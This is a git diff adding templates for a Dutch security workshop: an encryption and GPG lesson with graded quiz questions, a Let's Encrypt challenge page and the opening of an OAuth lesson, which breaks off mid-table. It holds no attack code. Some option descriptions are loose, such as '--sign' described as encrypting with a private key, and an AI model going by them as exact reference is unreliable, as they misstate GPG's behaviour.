Initial commit
No files matched your search
@@ -0,0 +1 @@
|
||||
.DS_Store
|
||||
@@ -0,0 +1,312 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
|
||||
<h1>Encryptie & Signen</h1>
|
||||
|
||||
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p>
|
||||
|
||||
<h2>Symmetrische encryptie</h2>
|
||||
|
||||
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten
|
||||
encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken
|
||||
om je bestanden, berichten en verbindingen te beveiligen.</p>
|
||||
|
||||
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme
|
||||
te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string
|
||||
die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het
|
||||
onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via
|
||||
internet delen, zonder bang te zijn dat iemand het kan lezen.</p>
|
||||
|
||||
<img src="static/img/sym_encryptie.png">
|
||||
|
||||
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime
|
||||
sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met
|
||||
<b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data
|
||||
weer terug te krijgen.</p>
|
||||
|
||||
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft
|
||||
kunnen Alice en Bob veilig met elkaar communiceren.</p>
|
||||
|
||||
<img src="static/img/sym_decryptie.png">
|
||||
|
||||
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende
|
||||
soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p>
|
||||
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code>
|
||||
|
||||
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<span class="argument">openssl</span> Het programma zelf</li>
|
||||
<li>
|
||||
<span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li>
|
||||
<li>
|
||||
<span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken.
|
||||
<ul>
|
||||
<li>
|
||||
<b>aes</b> staat voor
|
||||
<a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li>
|
||||
<li>
|
||||
<b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li>
|
||||
<li>
|
||||
<b>cbc</b> staat voor
|
||||
<a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<span class="argument">-base64</span> lees en schrijf de versleutelde data als
|
||||
<a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden
|
||||
op websites.</li>
|
||||
<li>
|
||||
<span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke
|
||||
data moet zijn. Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data
|
||||
en de uitvoer wordt dan de versleutelde data</li>
|
||||
<li>
|
||||
<span class="argument">-in geheim.txt</span> het invoerbestand</li>
|
||||
<li>
|
||||
<span class="argument">-out decrypted.txt</span> het uitvoerbestand</li>
|
||||
</ul>
|
||||
|
||||
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em">
|
||||
|
||||
<p>Een systeembeheerder heeft een geheim staan in dit
|
||||
<a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen:
|
||||
<code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %}
|
||||
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet
|
||||
je de optie `-md sha256` toevoegen.</code>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Versleutel de tekst "
|
||||
<em>Security Workshop</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik
|
||||
<code>Ab12345</code> als wachtwoord.</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">Hint: Je kan dit commando gebruiken:
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -in plain.txt -out geheim.aes256.txt</code>
|
||||
</p>
|
||||
|
||||
<h2>Asymmetrische encryptie</h2>
|
||||
|
||||
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen.
|
||||
Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden.
|
||||
Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één
|
||||
privé sleutel.</p>
|
||||
|
||||
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal
|
||||
key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit
|
||||
elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke
|
||||
is.
|
||||
</p>
|
||||
|
||||
<img src="static/img/sleutels_genereren.png">
|
||||
|
||||
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen.
|
||||
Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel.
|
||||
<b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met
|
||||
de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p>
|
||||
|
||||
<img src="static/img/asym_encryptie.png">
|
||||
|
||||
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische
|
||||
encryptie. Waarom zouden we dit gebruiken?</p>
|
||||
|
||||
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd
|
||||
geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende
|
||||
sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand
|
||||
anders.
|
||||
</p>
|
||||
|
||||
<img src="static/img/publicprivatekey.png">
|
||||
|
||||
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel.
|
||||
Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker
|
||||
dat alleen Bob het kan lezen.</p>
|
||||
|
||||
<img src="static/img/asym_alicebob.png">
|
||||
|
||||
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan
|
||||
het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht
|
||||
van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden:
|
||||
<ol>
|
||||
<li>Alleen Bob kan het bericht lezen</li>
|
||||
<li>Bob weet zeker dat het bericht van Alice is</li>
|
||||
</ol>
|
||||
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat
|
||||
ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
|
||||
</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
|
||||
|
||||
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%">
|
||||
|
||||
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen
|
||||
die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
|
||||
|
||||
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en
|
||||
een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou
|
||||
en de andere persoon gelezen kunnen worden.</p>
|
||||
|
||||
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie
|
||||
twee de chat kan lezen?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea>
|
||||
</div>
|
||||
|
||||
|
||||
<h2>GPG</h2>
|
||||
|
||||
<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de
|
||||
<a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert
|
||||
is
|
||||
<a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde
|
||||
berichten versturen.</p>
|
||||
|
||||
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een
|
||||
<b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben
|
||||
we onze eigen keyserver ingericht op websec.paulwagener.nl.
|
||||
<b>Deze werkt niet als je de opdrachten thuis maakt</b>. De Avans firewall blokkeert poort 11371 waarop deze server werkt.</p>
|
||||
|
||||
<p>GPG kan je
|
||||
<a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X
|
||||
gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
|
||||
|
||||
<img src="static/img/gpg.png">
|
||||
|
||||
<code class="terminal">gpg --help</code>
|
||||
|
||||
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je
|
||||
bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li>
|
||||
<li>
|
||||
<b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li>
|
||||
<li>
|
||||
<b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li>
|
||||
<li>
|
||||
<b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li>
|
||||
<li>
|
||||
<b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
|
||||
<li>
|
||||
<b>--recv-keys --keyserver websec.paulwagener.nl
|
||||
<i>sleutel-ID</i>
|
||||
</b> Haal een publieke sleutel op van de onze keyserver</li>
|
||||
<li>
|
||||
<b>--send-keys --keyserver websec.paulwagener.nl
|
||||
<i>sleutel-ID</i>
|
||||
</b> Verstuur een publieke sleutel naar onze keyserver</li>
|
||||
<li>
|
||||
<b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
|
||||
<li>
|
||||
<b>-a</b> Output in ASCII base64 formaat</li>
|
||||
<p>
|
||||
|
||||
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID
|
||||
<b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel
|
||||
een tekst versleuteld in
|
||||
<a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke zin hebben we versleuteld?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_decrypt_public_key.points max="5" %}
|
||||
<input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}">
|
||||
</div>
|
||||
|
||||
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit
|
||||
bestandje de geheime code "555-0690" en je e-mailadres staat.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde
|
||||
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als
|
||||
je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten
|
||||
(zie lijst van opties hierboven)</p>
|
||||
|
||||
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel
|
||||
naar de websec.paulwagener.nl keyserver.
|
||||
<b>Gebruik je e-mailadres voor het e-mailveld</b>.</p>
|
||||
|
||||
<p>Vergeet niet om je publieke sleutel naar de websec.paulwagener.nl keyserver te sturen zodat anderen die kunnen opzoeken
|
||||
en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten
|
||||
voor onderstaande opdracht niet!)</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het
|
||||
tekstveld (inclusief begin en einde
|
||||
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h3>Web of Trust</h3>
|
||||
|
||||
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor
|
||||
dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk
|
||||
te maken om met jouw private sleutel een
|
||||
<b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd
|
||||
hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
|
||||
|
||||
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan
|
||||
kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele
|
||||
hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld
|
||||
<a href="http://websec.paulwagener.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a>
|
||||
</p>
|
||||
|
||||
<img src="static/img/web_of_trust.gif">
|
||||
|
||||
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke
|
||||
sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke
|
||||
sleutel weer opnieuw te versturen naar de keyserver.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van
|
||||
drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als
|
||||
antwoord hier.</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %}
|
||||
<input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}">
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar
|
||||
de server.</p>
|
||||
|
||||
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere
|
||||
<a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe
|
||||
<a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
|
||||
|
||||
<a href="http://xkcd.com/364/" target="_blank">
|
||||
<img src="http://imgs.xkcd.com/comics/responsible_behavior.png">
|
||||
</a>
|
||||
@@ -0,0 +1,58 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<title>Security Workshop</title>
|
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
|
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/quiz.js"></script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<form method="POST" id="form-quiz">
|
||||
<div class="row-fluid">
|
||||
<div class="well span3" id="menu">
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/?sql">SQL Injection</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?xss">Cross-site Scripting</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?wachtwoorden">Wachtwoorden</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?path">Insecure Direct Object References</a>
|
||||
</li>
|
||||
<!--
|
||||
<li>
|
||||
<a href="/?oauth">OAuth</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?certificaten">Certificaten</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?encryptie">Encryptie</a>
|
||||
</li>
|
||||
-->
|
||||
</ul>
|
||||
|
||||
Moeilijkheidsgraad:
|
||||
<select id="difficulty">
|
||||
<option value="easy">Hints zichtbaar</option>
|
||||
<option value="normal">Hints optioneel</option>
|
||||
<option value="hard">Geen hints</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div id="quiz" class="span8 offset3">
|
||||
</div>
|
||||
</form>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,56 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<link rel="stylesheet" href="/static/css/semantic.min.css">
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-top: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h1 class="ui centered aligned header">Let's Encrypt</h1>
|
||||
|
||||
<div class="ui three column centered grid">
|
||||
<div class="column ui">
|
||||
<form method="POST" action="" class="ui form primary center aligned segment">
|
||||
{% csrf_token %} {% if challenge %}
|
||||
<p>Vanaf
|
||||
<br>
|
||||
<a href="http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}">http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}</a>
|
||||
<br> wordt de komende 10 minuten de volgende tekst getoond:
|
||||
<br>
|
||||
<code>{{challenge}}.{{response}}</code> {% elif error %}
|
||||
<div class="ui negative message">
|
||||
<p>{{error}}</p>
|
||||
</div>
|
||||
|
||||
{% else %}
|
||||
<div class="field">
|
||||
<label for="domain">Challenge-response</label>
|
||||
<div class="ui huge input">
|
||||
<textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea>
|
||||
</div>
|
||||
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via
|
||||
<br>
|
||||
<code>http://websec.paulwagener.nl/.well-known/acme-challenge/</code>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="ui big blue submit button">Opslaan</button>
|
||||
|
||||
{% endif %}
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,371 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
<h1>OAuth</h1>
|
||||
|
||||
<img src="static/img/oauth.png" style="float: right">
|
||||
|
||||
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad
|
||||
<strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
|
||||
|
||||
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen
|
||||
de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor
|
||||
gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
|
||||
|
||||
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk
|
||||
zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice
|
||||
versa.
|
||||
</p>
|
||||
|
||||
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en
|
||||
wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo
|
||||
kunnen checken.</p>
|
||||
|
||||
<h3>Simpele authenticatie</h3>
|
||||
|
||||
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de
|
||||
API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard
|
||||
moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_basic.png">
|
||||
</figure>
|
||||
|
||||
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px">
|
||||
|
||||
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van
|
||||
<a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles
|
||||
veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
|
||||
|
||||
<p>Een startup heeft de
|
||||
<i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik
|
||||
van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam
|
||||
en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan
|
||||
werken.
|
||||
</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_basic_app.png">
|
||||
</figure>
|
||||
|
||||
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van
|
||||
de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de
|
||||
gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
|
||||
|
||||
|
||||
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken,
|
||||
maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
|
||||
|
||||
<h3>Access tokens</h3>
|
||||
|
||||
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%">
|
||||
<p>OAuth lost dit probleem op door het concept van een
|
||||
<b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API
|
||||
te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de
|
||||
server deze kan verifiëren.</p>
|
||||
|
||||
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige
|
||||
manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de
|
||||
schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
|
||||
|
||||
<img src="static/img/oauth_facebook.png" class="center-block">
|
||||
|
||||
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens
|
||||
eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt
|
||||
je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_access_token.png" class="center-block">
|
||||
</figure>
|
||||
|
||||
<p>Je kan ook een speciale
|
||||
<b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen
|
||||
voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je
|
||||
langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
|
||||
|
||||
<h3>Opdrachten</h3>
|
||||
|
||||
<p>Deze site heeft ook een API die te vinden is op:
|
||||
<a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg
|
||||
je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we
|
||||
de API kunnen aanroepen.</p>
|
||||
|
||||
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API
|
||||
aanroep doet. Voor deze opdracht kan je die aanmaken op
|
||||
<a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>Name</b>: mag je zelf kiezen</li>
|
||||
<li>
|
||||
<b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li>
|
||||
<li>
|
||||
<b>Client secret</b>: mag je zelf kiezen</li>
|
||||
<li>
|
||||
<b>Client type</b>: Confidential</li>
|
||||
<li>
|
||||
<b>Authorization grant type</b>: Implicit</li>
|
||||
<li>
|
||||
<b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
|
||||
</ul>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/oauth_register.png" style="width: 50%">
|
||||
</figure>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de client_id die je hebt geregistreerd?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de
|
||||
endpoints van een aantal bekende servers:</p>
|
||||
|
||||
<table border="1" cellpadding="4">
|
||||
<tr>
|
||||
<th>Service</th>
|
||||
